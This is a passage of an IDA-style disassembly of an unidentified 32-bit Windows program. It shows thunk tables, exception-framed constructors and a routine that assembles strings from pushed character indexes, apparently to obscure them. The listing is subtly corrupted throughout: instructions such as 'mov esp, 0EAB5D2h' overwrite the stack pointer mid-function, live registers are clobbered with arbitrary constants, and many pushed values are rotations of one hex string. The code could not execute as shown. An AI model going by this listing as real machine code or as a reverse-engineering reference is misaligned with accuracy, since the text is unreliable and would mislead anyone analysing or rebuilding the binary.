I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_41CC30+2C5p jmp sub_41EDB0 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_41BE00+652p jmp sub_41A740 sub_401FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC3 proc near ; CODE XREF: sub_417280+32p jmp sub_417550 sub_401FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC8 proc near ; CODE XREF: sub_40D9C0+ACp ; _294ADE7B:0040E0EDp jmp sub_40DB00 sub_401FC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FCD proc near ; CODE XREF: sub_412570+93p jmp sub_42EBA0 sub_401FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD2 proc near ; CODE XREF: sub_413F60+1Fp ; sub_414830+2Cp jmp sub_414790 sub_401FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD7 proc near ; CODE XREF: _294ADE7B:0042507Dp jmp sub_425040 sub_401FD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near ; CODE XREF: sub_41EB00+17Dp jmp sub_4200A0 sub_401FDC endp ; --------------------------------------------------------------------------- loc_401FE1: ; DATA XREF: _8C6BDE73:off_437010o jmp loc_409670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE6 proc near ; CODE XREF: sub_40A550+6Ap ; sub_40A550+103p jmp sub_40A790 sub_401FE6 endp ; --------------------------------------------------------------------------- jmp loc_424BF0 ; --------------------------------------------------------------------------- jmp loc_426D10 ; --------------------------------------------------------------------------- jmp loc_4192A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFA proc near ; CODE XREF: sub_406ED0+16p ; sub_406F10+Bp ... jmp sub_407170 sub_401FFA endp ; --------------------------------------------------------------------------- jmp loc_417180 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402004 proc near ; CODE XREF: sub_40AB60+1Bp jmp sub_42DC70 sub_402004 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402009 proc near ; CODE XREF: sub_414790+5Ap jmp sub_415270 sub_402009 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40200E proc near ; CODE XREF: sub_42A850+ABp ; sub_42B830+1Bp ... jmp sub_42B8A0 sub_40200E endp ; --------------------------------------------------------------------------- jmp loc_429C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402018 proc near ; CODE XREF: sub_407E8F+44Dp ; sub_407E8F+472p ... jmp sub_417F90 sub_402018 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_40B080+55p jmp sub_409B30 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: sub_4201C0+34p ; sub_420AE0+67p jmp sub_420800 sub_402022 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402027 proc near ; CODE XREF: sub_406DA0+2Cp ; sub_406DA0+68p ... jmp sub_406F10 sub_402027 endp ; --------------------------------------------------------------------------- jmp loc_42E570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402031 proc near ; CODE XREF: sub_41ACE0+1B3p ; sub_41ACE0+332p ... jmp sub_41BD40 sub_402031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402036 proc near ; CODE XREF: sub_40B7D0+11p ; sub_40BA20+1Fp jmp sub_40BB50 sub_402036 endp ; --------------------------------------------------------------------------- jmp loc_42A790 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_422CE0+1Ap ; sub_422DC0+1Bp ... jmp sub_422B10 sub_402040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402045 proc near ; CODE XREF: _294ADE7B:0041574Bp jmp sub_416F30 sub_402045 endp ; --------------------------------------------------------------------------- jmp loc_429E20 ; --------------------------------------------------------------------------- jmp loc_429FB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_42E2E0+1Bp jmp sub_42E350 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402059 proc near ; CODE XREF: sub_4295A0+101p jmp sub_428EF0 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40205E proc near ; DATA XREF: _8C6BDE73:off_43700Co jmp sub_406E70 sub_40205E endp ; --------------------------------------------------------------------------- jmp loc_429470 ; --------------------------------------------------------------------------- jmp locret_416E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_403360+25p ; sub_403360+35p ... jmp sub_4038B0 sub_40206D endp ; --------------------------------------------------------------------------- jmp loc_42E280 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402077 proc near ; CODE XREF: sub_416980+88p ; sub_416980+98p jmp sub_417080 sub_402077 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40207C proc near ; CODE XREF: _294ADE7B:004157EBp ; _294ADE7B:0043392Cj ... jmp sub_4162D0 sub_40207C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402081 proc near ; CODE XREF: sub_4170D0+5p jmp sub_417410 sub_402081 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402086 proc near ; CODE XREF: sub_4133D0+3p jmp sub_413400 sub_402086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_42A250+1Fp ; _294ADE7B:0042A32Fp ... jmp sub_42BC70 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_42A9E0+102p ; sub_42C8D0+5Dp ... jmp sub_42B9B0 sub_402090 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402095 proc near ; CODE XREF: sub_4122A0+5Cp ; sub_4122A0+C0p ... jmp sub_4141F0 sub_402095 endp ; --------------------------------------------------------------------------- jmp loc_42C5B0 ; --------------------------------------------------------------------------- jmp loc_42A310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_41BE00+203p jmp sub_428270 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; CODE XREF: sub_4295A0+148p ; sub_4295A0+173p jmp sub_428E10 sub_4020A9 endp ; --------------------------------------------------------------------------- jmp loc_429340 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B3 proc near ; CODE XREF: sub_412160+34p ; sub_413560+40p jmp sub_414680 sub_4020B3 endp ; --------------------------------------------------------------------------- jmp loc_4293C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020BD proc near ; CODE XREF: sub_421170+93Dp jmp loc_422690 sub_4020BD endp ; --------------------------------------------------------------------------- jmp loc_418160 ; --------------------------------------------------------------------------- db 0CEAh dup(0CCh) byte_402DB1 db 0EFh dup(0CCh) ; DATA XREF: sub_40DD20+5o byte_402EA0 db 2F0h dup(0CCh) ; DATA XREF: sub_4068E0+DDo ; =============== S U B R O U T I N E ======================================= sub_403190 proc near ; CODE XREF: sub_4018DEj var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push 5AE931h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esp, 0EAB5D2h cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_4031E9 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_4031DA: ; CODE XREF: sub_403190+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_4031DA loc_4031E9: ; CODE XREF: sub_403190+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_4013CF push 755AE9h lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_4017A8 push 3AAD74h lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_4019A1 push 1D56BAh lea ecx, [esp+47Ch+var_450] call sub_4017A8 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_403241: ; CODE XREF: sub_403190+105j mov ebp, [edi] test ebp, ebp jz short loc_403297 lea ecx, [esp+478h+var_438] call sub_4015F5 dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_401622 mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_401726 push eax lea ecx, [esp+47Ch+var_450] call sub_4019BA lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_4011F9 inc esi add edi, 4 cmp esi, 0FFh jb short loc_403241 loc_403297: ; CODE XREF: sub_403190+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_40146F mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_4011F9 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_4011F9 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_4011F9 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_403190 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403360 proc near ; CODE XREF: sub_401267j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 0EAB5Dh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401190 lea ecx, [esi+9] call sub_40206D lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_40206D lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_40206D lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_40206D lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_40206D lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_40206D lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_40206D lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_40206D lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_40206D lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_40206D lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_40206D lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_40206D lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_40206D lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_40206D lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_40206D lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_40206D lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_40206D lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_40206D lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_40206D mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_40206D lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_40206D lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_40206D lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_40206D lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_40206D lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_40206D lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_40206D lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_40206D lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_40206D lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_40206D lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_40206D lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_40206D lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_40206D lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_40206D lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_40206D lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_40206D lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_40206D lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_40206D lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_40206D lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_40206D lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_40206D lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_4016A9 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_4016A9 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_4016A9 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_4016A9 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_4016A9 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_4016A9 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_4016A9 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_4016A9 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_4016A9 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_4016A9 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_4016A9 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_4016A9 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_4016A9 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_4016A9 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_4016A9 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_4016A9 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_4016A9 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_401181 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_401181 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_401181 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_401181 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_401181 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403890 proc near ; CODE XREF: sub_401190j mov eax, ecx mov dword ptr [eax], offset off_437004 retn sub_403890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4038B0 proc near ; CODE XREF: sub_40206Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4038B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4013CF lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_4013CF lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_4013CF mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4038B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403930 proc near ; CODE XREF: sub_4019F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 63AAD7h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4039B0 proc near ; CODE XREF: sub_4016A9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 31D56Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4013CF lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_4013CF mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4039B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403A20 proc near ; CODE XREF: sub_401181j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 18EAB5h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40206D lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40206D lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40206D lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40206D lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40206D lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40206D lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40206D lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40206D mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403A20 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403B00 proc near ; CODE XREF: sub_401EFBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 4C755Ah mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_4019F1 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_4019F1 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_4019F1 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_4019F1 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_4019F1 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_4019F1 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_4019F1 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_4019F1 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403B00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403BE0 proc near ; CODE XREF: sub_401C0Dj var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 263AADh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4018DE add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_401726 lea ecx, [esi+0C29h] push eax push ecx mov edx, 6131D5h call sub_401523 or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+84h+var_3C] push 2 push edx call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+64h+var_4], 1 call sub_401726 push eax lea eax, [esi+0BCDh] push eax mov ebp, 2B898Eh call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+7Ch+var_3C] push 2 push ecx call sub_4018DE add esp, 24h push esi mov ecx, eax mov [esp+64h+var_4], 2 call sub_401726 lea edx, [esi+0C57h] push eax push edx mov esp, 0A0AE26h call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+80h+var_3C] push 2 push eax call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+64h+var_4], 3 call sub_401726 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, 26C2B8h call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+84h+var_3C] push 2 push edx call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+64h+var_4], 4 call sub_401726 push eax lea eax, [esi+0C85h] push eax mov ebp, offset word_48DB0A call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+80h+var_3C] push 2 push ecx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+64h+var_4], 5 call sub_401726 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_458DB0 call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+88h+var_3C] push 2 push eax call sub_4018DE add esp, 30h push esi mov ecx, eax mov [esp+64h+var_4], 6 call sub_401726 lea ecx, [esi+0DC7h] push eax push ecx mov esi, 0CE8B1Bh call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+78h+var_3C] push 2 push edx call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+64h+var_4], 7 call sub_401726 push eax lea eax, [esi+0D0Fh] push eax mov ebx, 2CE8B1h call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+78h+var_3C] push 2 push ecx call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+64h+var_4], 8 call sub_401726 lea edx, [esi+0D99h] push eax push edx mov edx, 59D1h call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+74h+var_3C] push 2 push eax call sub_4018DE add esp, 1Ch push esi mov ecx, eax mov [esp+64h+var_4], 9 call sub_401726 lea ecx, [esi+0E23h] push eax push ecx mov edi, 8E20B3h call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+74h+var_3C] push 2 push edx call sub_4018DE add esp, 1Ch push esi mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_401726 push eax lea eax, [esi+0D6Bh] push eax mov esi, 0A8E20Bh call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+74h+var_3C] push 2 push ecx call sub_4018DE add esp, 1Ch push esi mov ecx, eax mov [esp+64h+var_4], 0Bh call sub_401726 lea edx, [esi+0D3Dh] push eax push edx mov ecx, 0CB8E20h call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+84h+var_3C] push 2 push eax call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+64h+var_4], 0Ch call sub_401726 push eax lea ecx, [esi+0CB3h] push ecx mov esp, 0CDB8Eh call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+78h+var_3C] push 2 push edx call sub_4018DE add esp, 20h push esi mov ecx, eax mov [esp+64h+var_4], 0Dh call sub_401726 push eax lea eax, [esi+0CE1h] push eax mov esp, 60736Eh call sub_401523 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_4011F9 lea ecx, [esi+9] call sub_401726 lea ecx, [esp+60h+var_54] push eax push ecx call sub_401EBF add esp, 8 push 0 push 25h push 1Dh push 23h lea edx, [esp+70h+var_3C] push 28h push edx mov [esp+78h+var_4], 0Eh call sub_4018DE add esp, 18h mov ebp, eax lea ecx, [esp+60h+var_54] mov byte ptr [esp+60h+var_4], 0Fh call sub_401726 push eax mov ecx, ebp call sub_401726 push eax push 3039B7h push 581CDBh call sub_401CDA add esp, 10h lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0Eh call sub_4011F9 push 20h lea eax, [esp+64h+var_24] push 0 push eax lea ecx, [esp+6Ch+var_54] call sub_40127B mov ecx, eax mov byte ptr [esp+60h+var_4], 10h call sub_401726 push eax push 6C0E6Dh push 760736h call sub_40102D add esp, 0Ch mov byte ptr [esp+60h+var_4], 0Eh lea ecx, [esp+60h+var_24] call sub_4011F9 call dword ptr ds:3B039Bh mov ecx, eax mov eax, 10624DD3h mul ecx shr edx, 6 lea ecx, [esp+60h+var_54] mov [esi+5], edx mov [esp+60h+var_4], edi call sub_4011F9 mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn sub_403BE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404260 proc near ; CODE XREF: sub_40194Cj var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push 5D81CDh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_40141A mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_4042A2 push ebx jmp short loc_4042A6 ; --------------------------------------------------------------------------- loc_4042A2: ; CODE XREF: sub_404260+3Dj lea eax, [esi+15h] push eax loc_4042A6: ; CODE XREF: sub_404260+40j mov ecx, edi call sub_401E65 mov al, [esi+94h] test al, al jz short loc_4042C2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401E65 loc_4042C2: ; CODE XREF: sub_404260+55j mov al, [esi+95h] test al, al jz short loc_40433F lea ecx, [esp+98h+var_6C] call sub_4013CF push 6EC0E6h mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_40138E add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401CF8 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401E65 lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_4011F9 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401E65 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_4011F9 loc_40433F: ; CODE XREF: sub_404260+6Aj push 376073h lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_401622 lea edx, [esp+98h+var_54] mov esi, 0E37607h push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401CF8 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401E65 lea ecx, [esp+98h+var_54] mov byte 